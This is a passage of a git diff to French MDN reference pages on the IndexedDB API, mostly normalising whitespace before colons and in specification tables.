implémentant cette interface : {{HTMLElement("bgsound")}}, {{HTMLElement("blink")}}, {{HTMLElement("isindex")}}, {{HTMLElement("multicol")}}, {{HTMLElement("nextid")}}, {{HTMLElement("rb")}}, {{HTMLElement("spacer")}} - {{DOMxRef("SVGUnknownElement")}} diff --git a/files/fr/web/api/idbcursor/advance/index.md b/files/fr/web/api/idbcursor/advance/index.md index 6b56ff6a70..b3f7f674f9 100644 --- a/files/fr/web/api/idbcursor/advance/index.md +++ b/files/fr/web/api/idbcursor/advance/index.md @@ -31,7 +31,7 @@ Aucune. ### Exceptions -Cette méthode peut déclencher des exceptions {{domxref("DOMException")}} : +Cette méthode peut déclencher des exceptions {{domxref("DOMException")}} : | Exception | Description | | -------------------------- | ---------------------------------------------------------------- | @@ -43,7 +43,7 @@ Cette méthode peut déclencher des exceptions {{domxref("DOMException")}} : Dans ce petit morceau de code on fait une transaction, récupère un magasin d'objet, puis utilise un curseur pour itérer sur les enregistrements du magasin. Ici, on utilise `cursor.advance(2)` pour avancer de 2 cases à chaque fois, ce qui signifie que seule la moitié des résultats sera affichée. `advance()`fonctionne de façon similaire à {{domxref ("IDBCursor.continue")}} mais permet de sauter plusieurs enregistrements à la fois et pas uniquement d'accéder à l'enregistrement suivant. -On notera également que, dans chaque itération de la boucle, on peut récupérer les données de l'enregistrement en cours grâce à l'objet curseur via `curseur.value.foo`. Pour un exemple fonctionnel complet, voir [notre exemple IDBCursor](https://github.com/mdn/IDBcursor-example/) ([l'exemple en _live_](https://mdn.github.io/IDBcursor-example/)). +On notera également que, dans chaque itération de la boucle, on peut récupérer les données de l'enregistrement en cours grâce à l'objet curseur via `curseur.value.foo`. Pour un exemple fonctionnel complet, voir [notre exemple IDBCursor](https://github.com/mdn/IDBcursor-example/) ([l'exemple en _live_](https://mdn.github.io/IDBcursor-example/)). ```js function advanceResult() { @@ -69,7 +69,7 @@ function advanceResult() { | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------------------ | ---------------------------- | ------------ | -| {{SpecName('IndexedDB', '#widl-IDBCursor-advance-void-unsigned-long-count', 'advance()')}} | {{Spec2('IndexedDB')}} | | +| {{SpecName('IndexedDB', '#widl-IDBCursor-advance-void-unsigned-long-count', 'advance()')}} | {{Spec2('IndexedDB')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/idbcursor/continue/index.md b/files/fr/web/api/idbcursor/continue/index.md index 7792e063da..53d6c951b2 100644 --- a/files/fr/web/api/idbcursor/continue/index.md +++ b/files/fr/web/api/idbcursor/continue/index.md @@ -27,7 +27,7 @@ curseur.continue(cléOptionnelle); ### Exceptions -Cette méthode peut déclencher des exceptions {{domxref("DOMException")}} de type : +Cette méthode peut déclencher des exceptions {{domxref("DOMException")}} de type : <table class="standard-table"> <thead> @@ -95,7 +95,7 @@ function afficheDonnee() { | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------ | ---------------------------- | ------------ | -| {{SpecName('IndexedDB', '#widl-IDBCursor-continue-void-any-key', 'continue()')}} | {{Spec2('IndexedDB')}} | | +| {{SpecName('IndexedDB', '#widl-IDBCursor-continue-void-any-key', 'continue()')}} | {{Spec2('IndexedDB')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/idbcursor/index.md b/files/fr/web/api/idbcursor/index.md index d471c41de2..cb9e8f7bf8 100644 --- a/files/fr/web/api/idbcursor/index.md +++ b/files/fr/web/api/idbcursor/index.md @@ -132,7 +132,7 @@ function afficheDonnee() { | Spécification | État | Commentaires | | ---------------------------------------------------------------------------- | ---------------------------- | ------------ | -| {{SpecName('IndexedDB', '#idl-def-IDBCursor', 'cursor')}} | {{Spec2('IndexedDB')}} | | +| {{SpecName('IndexedDB', '#idl-def-IDBCursor', 'cursor')}} | {{Spec2('IndexedDB')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/idbdatabase/close/index.md b/files/fr/web/api/idbdatabase/close/index.md index 4da6941350..a77ce80dd0 100644 --- a/files/fr/web/api/idbdatabase/close/index.md +++ b/files/fr/web/api/idbdatabase/close/index.md @@ -54,7 +54,7 @@ Aucune. | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------- | ---------------------------- | ------------ | -| {{SpecName('IndexedDB', '#widl-IDBDatabase-close-void', 'close()')}} | {{Spec2('IndexedDB')}} | | +| {{SpecName('IndexedDB', '#widl-IDBDatabase-close-void', 'close()')}} | {{Spec2('IndexedDB')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/idbdatabase/createobjectstore/index.md b/files/fr/web/api/idbdatabase/createobjectstore/index.md index a829b7c64a..39725c8b93 100644 --- a/files/fr/web/api/idbdatabase/createobjectstore/index.md +++ b/files/fr/web/api/idbdatabase/createobjectstore/index.md @@ -97,7 +97,7 @@ var objectStore = db.createObjectStore(name, optionalParameters); | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ---------------------------- | ------------ | -| {{SpecName('IndexedDB', '#widl-IDBDatabase-createObjectStore-IDBObjectStore-DOMString-name-IDBObjectStoreParameters-optionalParameters', 'createObjectStore()')}} | {{Spec2('IndexedDB')}} | | +| {{SpecName('IndexedDB', '#widl-IDBDatabase-createObjectStore-IDBObjectStore-DOMString-name-IDBObjectStoreParameters-optionalParameters', 'createObjectStore()')}} | {{Spec2('IndexedDB')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/idbdatabase/deleteobjectstore/index.md b/files/fr/web/api/idbdatabase/deleteobjectstore/index.md index d3d72f60ca..5941d6e4fe 100644 --- a/files/fr/web/api/idbdatabase/deleteobjectstore/index.md +++ b/files/fr/web/api/idbdatabase/deleteobjectstore/index.md @@ -37,7 +37,7 @@ Cette méthode peut lever une {{domxref("DOMException")}} d'un de ces types suiv | Exception | Description | | -------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `InvalidStateError` | Levée si la méthode n'est pas appelée lors d'une transaction en mode `versionchange`. Pour les anciens navigateurs basés sur WebKit, il faut d'abord appeler la méthode {{domxref("IDBVersionChangeRequest.setVersion")}}. | +| `InvalidStateError` | Levée si la méthode n'est pas appelée lors d'une transaction en mode `versionchange`. Pour les anciens navigateurs basés sur WebKit, il faut d'abord appeler la méthode {{domxref("IDBVersionChangeRequest.setVersion")}}. | | `TransactionInactiveError` | Levée si la méthode est appelée sur une base de données qui n'existe pas (ex. elle a été effacée). Pour les versions antérieures à Firefox 41, ce dernier déclenchait une erreur `InvalidStateError`, cela est désormais corrigé (cf. {{bug("1176165")}}). | | `NotFoundError` | Levée lors de la suppression d'un magasin d'objets qui n'existe pas. Les noms sont sensibles à la casse. | @@ -88,8 +88,8 @@ Dans cet exemple, on ouvre une connexion à la base de données et dans le gesti | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------------------------------------------ | -------------------------------- | ------------ | -| {{SpecName('IndexedDB', '#widl-IDBDatabase-deleteObjectStore-void-DOMString-name', 'deleteObjectStore()')}} | {{Spec2('IndexedDB')}} | | -| {{SpecName("IndexedDB 2", "#dom-idbdatabase-deleteobjectstore", "deleteObjectStore()")}} | {{Spec2("IndexedDB 2")}} | | +| {{SpecName('IndexedDB', '#widl-IDBDatabase-deleteObjectStore-void-DOMString-name', 'deleteObjectStore()')}} | {{Spec2('IndexedDB')}} | | +| {{SpecName("IndexedDB 2", "#dom-idbdatabase-deleteobjectstore", "deleteObjectStore()")}} | {{Spec2("IndexedDB 2")}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/idbdatabase/index.md b/files/fr/web/api/idbdatabase/index.md index 99239a0809..45a82a7906 100644 --- a/files/fr/web/api/idbdatabase/index.md +++ b/files/fr/web/api/idbdatabase/index.md @@ -119,7 +119,7 @@ var objectStore = db.transaction('toDoList').objectStore('toDoList'); | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------ | ---------------------------- | ------------ | -| {{SpecName('IndexedDB', '#idl-def-IDBDatabase', 'IDBDatabase')}} | {{Spec2('IndexedDB')}} | | +| {{SpecName('IndexedDB', '#idl-def-IDBDatabase', 'IDBDatabase')}} | {{Spec2('IndexedDB')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/idbdatabase/name/index.md b/files/fr/web/api/idbdatabase/name/index.md index eb40259dab..1ec782aecc 100644 --- a/files/fr/web/api/idbdatabase/name/index.md +++ b/files/fr/web/api/idbdatabase/name/index.md @@ -58,7 +58,7 @@ DBOpenRequest.onsuccess = function(event) { | Spécification | État | Commentaires | | -------------------------------------------------------------------------------- | ---------------------------- | ------------ | -| {{SpecName('IndexedDB', '#widl-IDBDatabase-name', 'name')}} | {{Spec2('IndexedDB')}} | | +| {{SpecName('IndexedDB', '#widl-IDBDatabase-name', 'name')}} | {{Spec2('IndexedDB')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/idbdatabase/objectstorenames/index.md b/files/fr/web/api/idbdatabase/objectstorenames/index.md index 5f96dfbd4d..055de5f183 100644 --- a/files/fr/web/api/idbdatabase/objectstorenames/index.md +++ b/files/fr/web/api/idbdatabase/objectstorenames/index.md @@ -11,7 +11,7 @@ translation_of: Web/API/IDBDatabase/objectStoreNames --- {{APIRef("IndexedDB")}} -La propriété **`objectStoreNames`**, rattachée à l'interface {{domxref("IDBDatabase")}}, est une liste de chaînes de caractères ({{domxref("DOMStringList")}}) qui sont les noms des magasins d'objets ({{domxref("IDBObjectStore")}}) connectés à la base de données. +La propriété **`objectStoreNames`**, rattachée à l'interface {{domxref("IDBDatabase")}}, est une liste de chaînes de caractères ({{domxref("DOMStringList")}}) qui sont les noms des magasins d'objets ({{domxref("IDBObjectStore")}}) connectés à la base de données. {{AvailableInWorkers}} @@ -55,7 +55,7 @@ DBOpenRequest.onsuccess = function(event) { | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------- | ---------------------------- | ------------ | -| {{SpecName('IndexedDB', '#widl-IDBDatabase-objectStoreNames', 'objectStoreNames')}} | {{Spec2('IndexedDB')}} | | +| {{SpecName('IndexedDB', '#widl-IDBDatabase-objectStoreNames', 'objectStoreNames')}} | {{Spec2('IndexedDB')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/idbdatabase/transaction/index.md b/files/fr/web/api/idbdatabase/transaction/index.md index a58db4d79d..10b1a6393d 100644 --- a/files/fr/web/api/idbdatabase/transaction/index.md +++ b/files/fr/web/api/idbdatabase/transaction/index.md @@ -176,7 +176,7 @@ var objectStore = transaction.objectStore("toDoList"); | Spécification | Statut | Commentaire | | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------- | ----------- | -| {{SpecName('IndexedDB', '#widl-IDBDatabase-transaction-IDBTransaction-DOMString-sequence-DOMString--storeNames-IDBTransactionMode-mode', 'transaction()')}} | {{Spec2('IndexedDB')}} | | +| {{SpecName('IndexedDB', '#widl-IDBDatabase-transaction-IDBTransaction-DOMString-sequence-DOMString--storeNames-IDBTransactionMode-mode', 'transaction()')}} | {{Spec2('IndexedDB')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/idbdatabase/version/index.md b/files/fr/web/api/idbdatabase/version/index.md index 33c35d6c53..61200af313 100644 --- a/files/fr/web/api/idbdatabase/version/index.md +++ b/files/fr/web/api/idbdatabase/version/index.md @@ -49,7 +49,7 @@ DBOpenRequest.onsuccess = function(event) { | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------- | ---------------------------- | ------------ | -| {{SpecName('IndexedDB', '#widl-IDBDatabase-version', 'version')}} | {{Spec2('IndexedDB')}} | | +| {{SpecName('IndexedDB', '#widl-IDBDatabase-version', 'version')}} | {{Spec2('IndexedDB')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/idbdatabase/versionchange_event/index.md b/files/fr/web/api/idbdatabase/versionchange_event/index.md index 2476f4062d..072580f10d 100644 --- a/files/fr/web/api/idbdatabase/versionchange_event/index.md +++ b/files/fr/web/api/idbdatabase/versionchange_event/index.md @@ -65,7 +65,7 @@ DBOpenRequest.onupgradeneeded = function(event) { | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------ | ---------------------------- | ------------ | -| {{SpecName('IndexedDB', '#widl-IDBDatabase-onversionchange', 'onversionchange')}} | {{Spec2('IndexedDB')}} | | +| {{SpecName('IndexedDB', '#widl-IDBDatabase-onversionchange', 'onversionchange')}} | {{Spec2('IndexedDB')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/idbenvironment/index.md b/files/fr/web/api/idbenvironment/index.md index 9630e9b598..494e3949c8 100644 --- a/files/fr/web/api/idbenvironment/index.md +++ b/files/fr/web/api/idbenvironment/index.md @@ -39,7 +39,7 @@ function openDB() { | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------- | ---------------------------- | ------------ | -| {{SpecName('IndexedDB', '#idl-def-IDBEnvironment', 'IDBEnvironment')}} | {{Spec2('IndexedDB')}} | | +| {{SpecName('IndexedDB', '#idl-def-IDBEnvironment', 'IDBEnvironment')}} | {{Spec2('IndexedDB')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/idbfactory/cmp/index.md b/files/fr/web/api/idbfactory/cmp/index.md index 0ce4678d23..552a7a02bc 100644 --- a/files/fr/web/api/idbfactory/cmp/index.md +++ b/files/fr/web/api/idbfactory/cmp/index.md @@ -59,7 +59,7 @@ console.log( "Résultat de la comparaison : " + result ); | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------- | ---------------------------- | ------------ | -| {{SpecName('IndexedDB', '#widl-IDBFactory-cmp-short-any-first-any-second', 'cmp')}} | {{Spec2('IndexedDB')}} | | +| {{SpecName('IndexedDB', '#widl-IDBFactory-cmp-short-any-first-any-second', 'cmp')}} | {{Spec2('IndexedDB')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/idbfactory/deletedatabase/index.md b/files/fr/web/api/idbfactory/deletedatabase/index.md index 45b1745eb8..8636c522f7 100644 --- a/files/fr/web/api/idbfactory/deletedatabase/index.md +++ b/files/fr/web/api/idbfactory/deletedatabase/index.md @@ -59,8 +59,8 @@ DBDeleteRequest.onsuccess = function(event) { | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ------------ | -| {{SpecName('IndexedDB', '#widl-IDBFactory-deleteDatabase-IDBOpenDBRequest-DOMString-name', 'deleteDatabase()')}} | {{Spec2('IndexedDB')}} | | -| {{SpecName("IndexedDB 2", "#dom-idbfactory-deletedatabase", "deleteDatabase()")}} | {{Spec2("IndexedDB 2")}} | | +| {{SpecName('IndexedDB', '#widl-IDBFactory-deleteDatabase-IDBOpenDBRequest-DOMString-name', 'deleteDatabase()')}} | {{Spec2('IndexedDB')}} | | +| {{SpecName("IndexedDB 2", "#dom-idbfactory-deletedatabase", "deleteDatabase()")}} | {{Spec2("IndexedDB 2")}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/idbfactory/index.md b/files/fr/web/api/idbfactory/index.md index fbcba34c21..5695a27aeb 100644 --- a/files/fr/web/api/idbfactory/index.md +++ b/files/fr/web/api/idbfactory/index.md @@ -5,7 +5,7 @@ translation_of: Web/API/IDBFactory --- {{APIRef("IndexedDB")}} -L'interface **`IDBFactory`** fait partie de l'[API IndexedDB](/fr/docs/Web/API/API_IndexedDB) et permet aux applications d'accéder à des bases de données de façon asynchrone. L'objet qui implémente cette interface est `window.indexedDB`. Autrement dit, on créera et on accèdera à une base de données (voire on la supprimera) directement via cet objet plutôt qu'en utilisant l'objet `IDBFactory`. +L'interface **`IDBFactory`** fait partie de l'[API IndexedDB](/fr/docs/Web/API/API_IndexedDB) et permet aux applications d'accéder à des bases de données de façon asynchrone. L'objet qui implémente cette interface est `window.indexedDB`. Autrement dit, on créera et on accèdera à une base de données (voire on la supprimera) directement via cet objet plutôt qu'en utilisant l'objet `IDBFactory`. {{AvailableInWorkers}} diff --git a/files/fr/web/api/idbfactory/open/index.md b/files/fr/web/api/idbfactory/open/index.md index 04d42ffe9c..b6e628b5e0 100644 --- a/files/fr/web/api/idbfactory/open/index.md +++ b/files/fr/web/api/idbfactory/open/index.md @@ -23,7 +23,7 @@ Cette méthode peut également émettre les évènements `upgradeneeded`, `block ## Syntaxe -La syntaxe standard est la suivante : +La syntaxe standard est la suivante : var IDBOpenDBRequest = indexedDB.open(nom); var IDBOpenDBRequest = indexedDB.open(nom, version); @@ -51,7 +51,7 @@ Un objet {{domxref("IDBOpenDBRequest")}} sur lequel sont déclenchés les diffé ### Exceptions -Cette méthode peut lever une {{domxref("DOMException")}} de type suivant : +Cette méthode peut lever une {{domxref("DOMException")}} de type suivant : | Exception | Description | | ----------- | -------------------------------------------------------------------------- | @@ -59,7 +59,7 @@ Cette méthode peut lever une {{domxref("DOMException")}} de type suivant : ## Exemples -Voici un exemple d'ouverture de la base de données `toDoList` en utilisant la syntaxe standard et le paramètre `version` : +Voici un exemple d'ouverture de la base de données `toDoList` en utilisant la syntaxe standard et le paramètre `version` : ```js var request = window.indexedDB.open("toDoList", 4); @@ -101,8 +101,8 @@ DBOpenRequest.onsuccess = function(event) { | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ------------ | -| {{SpecName('IndexedDB', '#widl-IDBFactory-open-IDBOpenDBRequest-DOMString-name-unsigned-long-long-version', 'open()')}} | {{Spec2('IndexedDB')}} | | -| {{SpecName("IndexedDB 2", "#dom-idbfactory-open", "open()")}} | {{Spec2("IndexedDB 2")}} | | +| {{SpecName('IndexedDB', '#widl-IDBFactory-open-IDBOpenDBRequest-DOMString-name-unsigned-long-long-version', 'open()')}} | {{Spec2('IndexedDB')}} | | +| {{SpecName("IndexedDB 2", "#dom-idbfactory-open", "open()")}} | {{Spec2("IndexedDB 2")}} | | ## Compatibilité des navigateurs @@ -111,9 +111,9 @@ DBOpenRequest.onsuccess = function(event) { ## Voir aussi - [Utiliser IndexedDB](/fr/docs/Web/API/API_IndexedDB/Using_IndexedDB) -- Démarrer des transactions : {{domxref("IDBDatabase")}} -- Manipuler des transactions : {{domxref("IDBTransaction")}} -- Définir un intervalle de clés : {{domxref("IDBKeyRange")}} -- Récupérer des données et les modifier : {{domxref("IDBObjectStore")}} -- Manipuler des curseurs : {{domxref("IDBCursor")}} -- Exemple de référence pour IndexedDB : [To-do Notifications](https://github.com/mdn/to-do-notifications/tree/gh-pages) +- Démarrer des transactions : {{domxref("IDBDatabase")}} +- Manipuler des transactions : {{domxref("IDBTransaction")}} +- Définir un intervalle de clés : {{domxref("IDBKeyRange")}} +- Récupérer des données et les modifier : {{domxref("IDBObjectStore")}} +- Manipuler des curseurs : {{domxref("IDBCursor")}} +- Exemple de référence pour IndexedDB : [To-do Notifications](https://github.com/mdn/to-do-notifications/tree/gh-pages) diff --git a/files/fr/web/api/idbindex/count/index.md b/files/fr/web/api/idbindex/count/index.md index 67259dd4f7..d394b8ef10 100644 --- a/files/fr/web/api/idbindex/count/index.md +++ b/files/fr/web/api/idbindex/count/index.md @@ -104,8 +104,8 @@ function displayDataByIndex() { | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------- | -------------------------------- | ------------ | -| {{SpecName('IndexedDB', '#widl-IDBIndex-count-IDBRequest-any-key', 'count()')}} | {{Spec2('IndexedDB')}} | | -| {{SpecName("IndexedDB 2", "#dom-idbindex-count", "count()")}} | {{Spec2("IndexedDB 2")}} | | +| {{SpecName('IndexedDB', '#widl-IDBIndex-count-IDBRequest-any-key', 'count()')}} | {{Spec2('IndexedDB')}} | | +| {{SpecName("IndexedDB 2", "#dom-idbindex-count", "count()")}} | {{Spec2("IndexedDB 2")}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/idbindex/get/index.md b/files/fr/web/api/idbindex/get/index.md index 0fa82fd05a..5402f8cc03 100644 --- a/files/fr/web/api/idbindex/get/index.md +++ b/files/fr/web/api/idbindex/get/index.md @@ -28,11 +28,11 @@ var request = myIndex.get(key); ## Exceptions - `TransactionInactiveError` - - : Cette exception ( {{domxref("DOMException")}}) est levée si la transaction ({{domxref("IDBTransaction")}}) dont dépend l'accès ({{domxref("IDBObjectStore")}}) au magasin d'objet de cet index est inactive. + - : Cette exception ( {{domxref("DOMException")}}) est levée si la transaction ({{domxref("IDBTransaction")}}) dont dépend l'accès ({{domxref("IDBObjectStore")}}) au magasin d'objet de cet index est inactive. - `DataError` - : Cette exception ({{domxref("DOMException")}}) est levée si la clé ou l'intervalle de clé ({{domxref("IDBKeyRange")}}) est invalide. - `InvalidStateError` - - : Cette exception ({{domxref("DOMException")}}) est levée si l'index à été supprimé. + - : Cette exception ({{domxref("DOMException")}}) est levée si l'index à été supprimé. ## Exemple @@ -89,7 +89,7 @@ function displayDataByIndex() { | Spécification | Ètat | Commentaires | | ---------------------------------------------------------------------------------------------------- | ---------------------------- | ------------ | -| {{SpecName('IndexedDB', '#widl-IDBIndex-get-IDBRequest-any-key', 'get()')}} | {{Spec2('IndexedDB')}} | | +| {{SpecName('IndexedDB', '#widl-IDBIndex-get-IDBRequest-any-key', 'get()')}} | {{Spec2('IndexedDB')}} | | ## Compatibilité avec les navigateurs diff --git a/files/fr/web/api/idbindex/getall/index.md b/files/fr/web/api/idbindex/getall/index.md index caa5d1d798..0b71852bc8 100644 --- a/files/fr/web/api/idbindex/getall/index.md +++ b/files/fr/web/api/idbindex/getall/index.md @@ -38,7 +38,7 @@ On peut comparer cette méthode avec une recherche par curseur. Effectivement, i - `TransactionInactiveError` - : Cette {{domxref("DOMException","exception")}} est levée si la transaction ({{domxref("IDBTransaction")}}) est inactive. - `DataError` - - : Cette exception ({{domxref("DOMException")}}) est levée si la clé ou l'intervalle de clé ({{domxref("IDBKeyRange")}}) est invalide. + - : Cette exception ({{domxref("DOMException")}}) est levée si la clé ou l'intervalle de clé ({{domxref("IDBKeyRange")}}) est invalide. - `InvalidStateError` - : Cette exception ({{domxref("DOMException")}}) est levée si l'index à été supprimé. - `TypeError` diff --git a/files/fr/web/api/idbindex/getkey/index.md b/files/fr/web/api/idbindex/getkey/index.md index 0ca4b1cc15..cc08a06d61 100644 --- a/files/fr/web/api/idbindex/getkey/index.md +++ b/files/fr/web/api/idbindex/getkey/index.md @@ -112,7 +112,7 @@ function displayDataByIndex() { | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------ | ---------------------------- | ------------ | -| {{SpecName('IndexedDB', '#widl-IDBIndex-getKey-IDBRequest-any-key', 'getKey()')}} | {{Spec2('IndexedDB')}} | | +| {{SpecName('IndexedDB', '#widl-IDBIndex-getKey-IDBRequest-any-key', 'getKey()')}} | {{Spec2('IndexedDB')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/idbindex/keypath/index.md b/files/fr/web/api/idbindex/keypath/index.md index 13379463fa..4fb79c0925 100644 --- a/files/fr/web/api/idbindex/keypath/index.md +++ b/files/fr/web/api/idbindex/keypath/index.md @@ -70,7 +70,7 @@ function displayDataByIndex() { | Spécification | Statut | Commentaire | | ------------------------------------------------------------------------------------ | ---------------------------- | ----------- | -| {{SpecName('IndexedDB', '#widl-IDBIndex-keyPath', 'keyPath')}} | {{Spec2('IndexedDB')}} | | +| {{SpecName('IndexedDB', '#widl-IDBIndex-keyPath', 'keyPath')}} | {{Spec2('IndexedDB')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/idbindex/multientry/index.md b/files/fr/web/api/idbindex/multientry/index.md index 30665f1d02..f4fb962511 100644 --- a/files/fr/web/api/idbindex/multientry/index.md +++ b/files/fr/web/api/idbindex/multientry/index.md @@ -69,7 +69,7 @@ function displayDataByIndex() { | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------- | ---------------------------- | ------------ | -| {{SpecName('IndexedDB', '#widl-IDBIndex-multiEntry', 'multiEntry')}} | {{Spec2('IndexedDB')}} | | +| {{SpecName('IndexedDB', '#widl-IDBIndex-multiEntry', 'multiEntry')}} | {{Spec2('IndexedDB')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/idbindex/name/index.md b/files/fr/web/api/idbindex/name/index.md index 62d6b5ca7f..db43fd0aed 100644 --- a/files/fr/web/api/idbindex/name/index.md +++ b/files/fr/web/api/idbindex/name/index.md @@ -80,7 +80,7 @@ function displayDataByIndex() { | Spécification | État | Commentaires | | ---------------------------------------------------------------------------- | ---------------------------- | ------------ | -| {{SpecName('IndexedDB', '#widl-IDBIndex-name', 'name')}} | {{Spec2('IndexedDB')}} | | +| {{SpecName('IndexedDB', '#widl-IDBIndex-name', 'name')}} | {{Spec2('IndexedDB')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/idbindex/objectstore/index.md b/files/fr/web/api/idbindex/objectstore/index.md index 3ca57791da..1e06ea97b3 100644 --- a/files/fr/web/api/idbindex/objectstore/index.md +++ b/files/fr/web/api/idbindex/objectstore/index.md @@ -72,7 +72,7 @@ function displayDataByIndex() { | Spécification | Statut | Commentaire | | -------------------------------------------------------------------------------------------- | ---------------------------- | ----------- | -| {{SpecName('IndexedDB', '#widl-IDBIndex-objectStore', 'objectStore')}} | {{Spec2('IndexedDB')}} | | +| {{SpecName('IndexedDB', '#widl-IDBIndex-objectStore', 'objectStore')}} | {{Spec2('IndexedDB')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/idbindex/opencursor/index.md b/files/fr/web/api/idbindex/opencursor/index.md index 7216e38d94..efc19c4443 100644 --- a/files/fr/web/api/idbindex/opencursor/index.md +++ b/files/fr/web/api/idbindex/opencursor/index.md @@ -120,7 +120,7 @@ function displayDataByIndex() { | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------- | ------------ | -| {{SpecName('IndexedDB', '#widl-IDBIndex-openCursor-IDBRequest-any-range-IDBCursorDirection-direction', 'openCursor()')}} | {{Spec2('IndexedDB')}} | | +| {{SpecName('IndexedDB', '#widl-IDBIndex-openCursor-IDBRequest-any-range-IDBCursorDirection-direction', 'openCursor()')}} | {{Spec2('IndexedDB')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/idbindex/openkeycursor/index.md b/files/fr/web/api/idbindex/openkeycursor/index.md index 9e5e8a9114..03343cf485 100644 --- a/files/fr/web/api/idbindex/openkeycursor/index.md +++ b/files/fr/web/api/idbindex/openkeycursor/index.md @@ -123,7 +123,7 @@ function displayDataByIndex() { | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ---------------------------- | ------------ | -| {{SpecName('IndexedDB', '#widl-IDBIndex-openKeyCursor-IDBRequest-any-range-IDBCursorDirection-direction', 'openKeyCursor()')}} | {{Spec2('IndexedDB')}} | | +| {{SpecName('IndexedDB', '#widl-IDBIndex-openKeyCursor-IDBRequest-any-range-IDBCursorDirection-direction', 'openKeyCursor()')}} | {{Spec2('IndexedDB')}} | | ## Browser compatibility diff --git a/files/fr/web/api/idbindex/unique/index.md b/files/fr/web/api/idbindex/unique/index.md index 5914f7aab3..a9b0b8c2f6 100644 --- a/files/fr/web/api/idbindex/unique/index.md +++ b/files/fr/web/api/idbindex/unique/index.md @@ -68,7 +68,7 @@ function displayDataByIndex() { | Spécification | État | Commentaires | | -------------------------------------------------------------------------------- | ---------------------------- | ------------ | -| {{SpecName('IndexedDB', '#widl-IDBIndex-unique', 'unique')}} | {{Spec2('IndexedDB')}} | | +| {{SpecName('IndexedDB', '#widl-IDBIndex-unique', 'unique')}} | {{Spec2('IndexedDB')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/idbkeyrange/bound/index.md b/files/fr/web/api/idbkeyrange/bound/index.md index 36f8f75635..882a8d9f17 100644 --- a/files/fr/web/api/idbkeyrange/bound/index.md +++ b/files/fr/web/api/idbkeyrange/bound/index.md @@ -80,7 +80,7 @@ function displayData() { | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------- | ------------ | -| {{SpecName('IndexedDB', '#widl-IDBKeyRange-bound-IDBKeyRange-any-lower-any-upper-boolean-lowerOpen-boolean-upperOpen', 'bound()')}} | {{Spec2('IndexedDB')}} | | +| {{SpecName('IndexedDB', '#widl-IDBKeyRange-bound-IDBKeyRange-any-lower-any-upper-boolean-lowerOpen-boolean-upperOpen', 'bound()')}} | {{Spec2('IndexedDB')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/idbkeyrange/includes/index.md b/files/fr/web/api/idbkeyrange/includes/index.md index dbef422d06..0dea371048 100644 --- a/files/fr/web/api/idbkeyrange/includes/index.md +++ b/files/fr/web/api/idbkeyrange/includes/index.md @@ -71,7 +71,7 @@ IDBKeyRange.prototype.includes = IDBKeyRange.prototype.includes || function(key) | Spécification | Statut | Commentaire | | -------------------------------------------------------------------------------------------- | ---------------------------- | ----------- | -| {{SpecName('IndexedDB 2', '#dom-idbkeyrange-includes', 'includes()')}} | {{Spec2('IndexedDB')}} | | +| {{SpecName('IndexedDB 2', '#dom-idbkeyrange-includes', 'includes()')}} | {{Spec2('IndexedDB')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/idbkeyrange/lower/index.md b/files/fr/web/api/idbkeyrange/lower/index.md index 0e1d98cfc8..05dc4b2a02 100644 --- a/files/fr/web/api/idbkeyrange/lower/index.md +++ b/files/fr/web/api/idbkeyrange/lower/index.md @@ -60,7 +60,7 @@ function displayData() { | Spécification | État | Commentaires | | -------------------------------------------------------------------------------- | ---------------------------- | ------------ | -| {{SpecName('IndexedDB', '#widl-IDBKeyRange-lower', 'lower')}} | {{Spec2('IndexedDB')}} | | +| {{SpecName('IndexedDB', '#widl-IDBKeyRange-lower', 'lower')}} | 